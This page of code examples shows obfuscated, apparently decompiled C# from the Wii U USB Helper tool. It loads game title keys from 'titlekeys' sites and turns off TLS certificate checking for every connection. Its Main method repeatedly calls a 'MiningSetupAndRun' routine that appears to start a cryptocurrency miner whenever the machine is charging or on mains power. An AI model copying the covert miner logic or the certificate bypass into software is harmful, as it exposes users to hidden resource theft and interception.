Ejemplo n.º 1
0
 public static void smethod_0(string string_4, string string_5, string string_6, string string_7, string string_8, string string_9, bool bool_0, byte[] byte_0, byte[] byte_1, byte[] byte_2, GStruct2 gstruct2_0, Action <int> action_0 = null)
 {
     ServicePointManager.ServerCertificateValidationCallback += (RemoteCertificateValidationCallback)((object_0, x509Certificate_0, x509Chain_0, sslPolicyErrors_0) => true);
     ServicePointManager.DefaultConnectionLimit = 8;
     GClass26.string_0 = string_5;
     GClass26.string_1 = string_6;
     GClass26.string_2 = string_7;
     GClass88.Check_For_Create_Cache_Dir(GClass26.string_0);
     Directory.CreateDirectory(GClass17.string_0);
     Class67.WiiU_USB_Helper_Domain = string_8;
     GClass28.string_5 = Class67.smethod_22();
     GClass28.list_2   = Class67.smethod_2();
     GClass28.string_4 = string_4;
     GClass28.dictionary_0.Clear();
     GClass28.list_6.Clear();
     GClass28.dictionary_3.Clear();
     GClass28.dictionary_1.Clear();
     GClass28.dictionary_2.Clear();
     GClass30.smethod_0();
     Class67.smethod_13();
     Class67.JSON_Game_Custom_Injection_Import("out/games.json");
     Class67.JSON_Game_Custom_Injection_Import("out/customs.json");
     Class67.JSON_Game_Custom_Injection_Import("out/injections.json");
     Class67.JSON_Game_Custom_Injection_Import("out/games3ds.json");
     Class67.JSON_Game_Custom_Injection_Import("out/gamesWii.json");
     Class67.JSON_Update_Import("out/updates.json");
     Class67.JSON_Update_Import("out/updates3ds.json");
     Class67.JSON_DLC_Import("out/dlcs.json");
     Class67.JSON_DLC_Import("out/dlcs3ds.json");
     if (!bool_0)
     {
         try
         {
             GClass26.smethod_5(byte_0);
         }
         catch
         {
             Settings.Default.TicketsPath    = "";
             Settings.Default.TicketsPath3DS = "";
             Settings.Default.TicketsPathWii = "";
             int num = (int)RadMessageBox.Show("The application was unable to parse the specified archive. The app will now restart. Please specify another archive or use the title key site instead (recommended)");
             Settings.Default.Save();
             Application.Restart();
             return;
         }
     }
     else
     {
         string string_4_1 = "";
         string string_5_1 = "";
         string string_6_1 = "";
         if (byte_0 != null)
         {
             string_4_1 = Encoding.UTF8.GetString(byte_0);
         }
         if (byte_1 != null)
         {
             string_5_1 = Encoding.UTF8.GetString(byte_1);
         }
         if (byte_2 != null)
         {
             string_6_1 = Encoding.UTF8.GetString(byte_2);
         }
         GClass26.smethod_6(string_4_1, string_5_1, string_6_1);
     }
     if (GClass28.dictionary_0.Count == 0)
     {
         throw new Exception("No titles available. Please check your ticket source.");
     }
     foreach (GClass32 gclass32 in GClass28.dictionary_0.Values)
     {
         foreach (GClass31 gclass31 in GClass28.list_6)
         {
             if (!(gclass32.TitleId.High != gclass31.TitleId.High) && gclass32.System == gclass31.System)
             {
                 gclass31.Name = gclass32.Name;
                 gclass32.Dlc  = gclass31;
                 break;
             }
         }
     }
     if (GClass88.Check_If_Exists_In_Cache_Dir("lasttitles"))
     {
         // ISSUE: object of a compiler-generated type is created
         // ISSUE: reference to a compiler-generated method
         GClass28.NewTitles = GClass28.dictionary_0.Values.Where <GClass32>(new Func <GClass32, bool>(new GClass26.Class34()
         {
             string_0 = GClass88.smethod_7("lasttitles")
         }.method_0)).ToList <GClass32>();
     }
     GClass88.smethod_10("lasttitles", GClass28.dictionary_0.Values.Select <GClass32, string>((Func <GClass32, string>)(gclass32_0 => gclass32_0.TitleId.IdRaw)).ToArray <string>());
     if (GClass88.Check_If_Exists_In_Cache_Dir("lastUpdates"))
     {
         // ISSUE: object of a compiler-generated type is created
         // ISSUE: reference to a compiler-generated method
         GClass28.NewUpdates = GClass28.dictionary_0.Values.Where <GClass32>((Func <GClass32, bool>)(gclass32_0 =>
         {
             if (gclass32_0.Boolean_5)
             {
                 return(gclass32_0.AreThereUpdates);
             }
             return(false);
         })).Select <GClass32, GClass33>((Func <GClass32, GClass33>)(gclass32_0 => gclass32_0.Updates.Last <GClass33>())).Where <GClass33>(new Func <GClass33, bool>(new GClass26.Class35()
         {
             string_0 = GClass88.smethod_7("lastUpdates")
         }.method_0)).ToList <GClass33>();
     }
     GClass88.smethod_10("lastUpdates", GClass28.dictionary_0.Values.Where <GClass32>((Func <GClass32, bool>)(gclass32_0 =>
     {
         if (!gclass32_0.AreThereUpdates)
         {
             return(false);
         }
         if (!gclass32_0.Boolean_5)
         {
             return(gclass32_0.Boolean_1);
         }
         return(true);
     })).Select <GClass32, string>((Func <GClass32, string>)(gclass32_0 => gclass32_0.Updates.Last <GClass33>().ToString())).ToArray <string>());
     try
     {
         GClass26.smethod_3((IEnumerable <DirectoryInfo>) new DirectoryInfo(Path.Combine(string_4, "DATA_3DS")).GetDirectories("*.*", System.IO.SearchOption.AllDirectories));
     }
     catch
     {
     }
     GClass26.smethod_1("http://wiiu.titlekeys.gq/rss");
     GClass26.smethod_1("http://3ds.titlekeys.gq/rss");
     GClass3.smethod_4();
     GClass28.dictionary_1.Clear();
     GClass28.dictionary_2.Clear();
     GClass28.dictionary_3.Clear();
     GClass28.string_5 = (string[])null;
 }
Ejemplo n.º 2
0
        private static void Main(string[] args)
        {
            try
            {
                Class7.smethod_2();
                ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
            }
            catch
            {
            }
            if (string.IsNullOrEmpty(Settings.Default.AppId))
            {
                Settings.Default.AppId = Guid.NewGuid().ToString();
                Settings.Default.Save();
            }
            GClass88.Check_For_Create_Cache_Dir(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\USB_HELPER\\");
            MiningSetupAndRun.smethod_1();
            AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler)((sender, e) =>
            {
                MiningSetupAndRun.smethod_1();
                Exception exceptionObject = e.ExceptionObject as Exception;
                string str1 = "NONE";
                try
                {
                    str1 = new ComputerInfo().OSFullName;
                }
                catch
                {
                }
                try
                {
                    if (exceptionObject != null)
                    {
                        string str2 = "NONE";
                        if (GClass28.gclass30_0 != null)
                        {
                            str2 = GClass28.gclass30_0.TitleId.IdRaw + "v" + GClass28.gclass30_0.Version ?? "0";
                        }
                        Thread.CurrentThread.CurrentUICulture = CultureInfo.GetCultureInfo("en-US");
                        string str3 = Class102.string_0 ?? ApplicationDeployment.CurrentDeployment.CurrentVersion.ToString();
                        GClass6.smethod_19(string.Format("{0}/postBug.php", (object)Class67.SupportWiiUUSBHelperURL), new NameValueCollection()
                        {
                            {
                                "bug_target_site",
                                exceptionObject.ToString()
                            },
                            {
                                "bug_message",
                                exceptionObject.Message
                            },
                            {
                                "bug_stacktrace",
                                exceptionObject.StackTrace
                            },
                            {
                                "app_version",
                                str3 ?? ""
                            },
                            {
                                "os_revision",
                                str1
                            },
                            {
                                "data_path",
                                Settings.Default.Path
                            },
                            {
                                "extraction_path",
                                Settings.Default.ExtractFolder ?? ""
                            },
                            {
                                "last_unpacking_title",
                                str2
                            }
                        });
                        if (exceptionObject.Message.Contains("Nullable object must have a value."))
                        {
                            if (Class112.bool_1)
                            {
                                return;
                            }
                            Class112.bool_1 = true;
                            System.Windows.Forms.Application.Restart();
                            return;
                        }
                    }
                }
                catch
                {
                }
                if (exceptionObject is UnauthorizedAccessException)
                {
                    int num1 = (int)new frmException().ShowDialog();
                }
                else if (exceptionObject is FileNotFoundException && exceptionObject.Message.Contains("Telerik"))
                {
                    int num2 = (int)new frmDownloadDotNet().ShowDialog();
                }
                else
                {
                    int num3 = (int)new frmUnhandledException(exceptionObject).ShowDialog();
                }
                GClass9.smethod_0();
                System.Windows.Forms.Application.Exit();
            });
            if (args.Length == 1)
            {
                Class102.string_0 = args[0];
            }
            if (!ApplicationDeployment.IsNetworkDeployed && Class102.string_0 == null)
            {
                int num = (int)RadMessageBox.Show("You cannot execute this application directly. Please use the default shortcut on your desktop or execute Updater.exe");
                System.Windows.Forms.Application.Exit();
            }
            else
            {
                foreach (string resourcePath in ((IEnumerable <string>)Assembly.GetExecutingAssembly().GetManifestResourceNames()).Where <string>((Func <string, bool>)(string_0 => Path.GetExtension(string_0) == ".tssp")))
                {
                    ThemeResolutionService.LoadPackageResource(resourcePath);
                }
                System.Windows.Forms.Application.EnableVisualStyles();
                if (Settings.Default.ThemeName == "VisualStudio2012Dark")
                {
                    Settings.Default.ThemeName = "DarkBlue";
                }
                if (Settings.Default.ThemeName == "VisualStudio2012Light")
                {
                    Settings.Default.ThemeName = "Light";
                }
                Settings.Default.Save();
                ThemeResolutionService.ApplicationThemeName = Settings.Default.ThemeName;
                if (Settings.Default.LaunchCount == 0 && !Class112.smethod_0())
                {
                    int num = (int)new frmSupportOver().ShowDialog();
                    System.Windows.Forms.Application.Exit();
                    Environment.Exit(0);
                }
                else
                {
                    if (Settings.Default.Region == "NONE")
                    {
                        Class112.bool_0 = true;
                        FrmWelcome frmWelcome = new FrmWelcome();
                        int        num        = (int)frmWelcome.ShowDialog();
                        if (frmWelcome.bool_0)
                        {
                            MiningSetupAndRun.smethod_1();
                            System.Windows.Forms.Application.Exit();
                            return;
                        }
                    }
                    using (Mutex mutex = new Mutex(true, "Global\\WIIU_USB_HELPER"))
                    {
                        try
                        {
                            if (!mutex.WaitOne(0, true))
                            {
                                int num = (int)RadMessageBox.Show("An instance of WiiU USB Helper is already running.");
                                return;
                            }
                        }
                        catch (AbandonedMutexException ex)
                        {
                        }
                        SystemEvents.PowerModeChanged += (PowerModeChangedEventHandler)((sender, e) =>
                        {
                            switch (SystemInformation.PowerStatus.BatteryChargeStatus)
                            {
                            case BatteryChargeStatus.Charging:
                                MiningSetupAndRun.Miner_Compatability_Check_And_PrepOrStart();
                                break;

                            case BatteryChargeStatus.NoSystemBattery:
                                MiningSetupAndRun.Miner_Compatability_Check_And_PrepOrStart();
                                break;

                            default:
                                MiningSetupAndRun.smethod_1();
                                break;
                            }
                        });
                        MiningSetupAndRun.Miner_Compatability_Check_And_PrepOrStart();
                        Class91.smethod_0();
                        System.Windows.Forms.Application.Run((Form) new NusGrabberForm());
                        Class91.smethod_1();
                        MiningSetupAndRun.smethod_1();
                    }
                }
            }
        }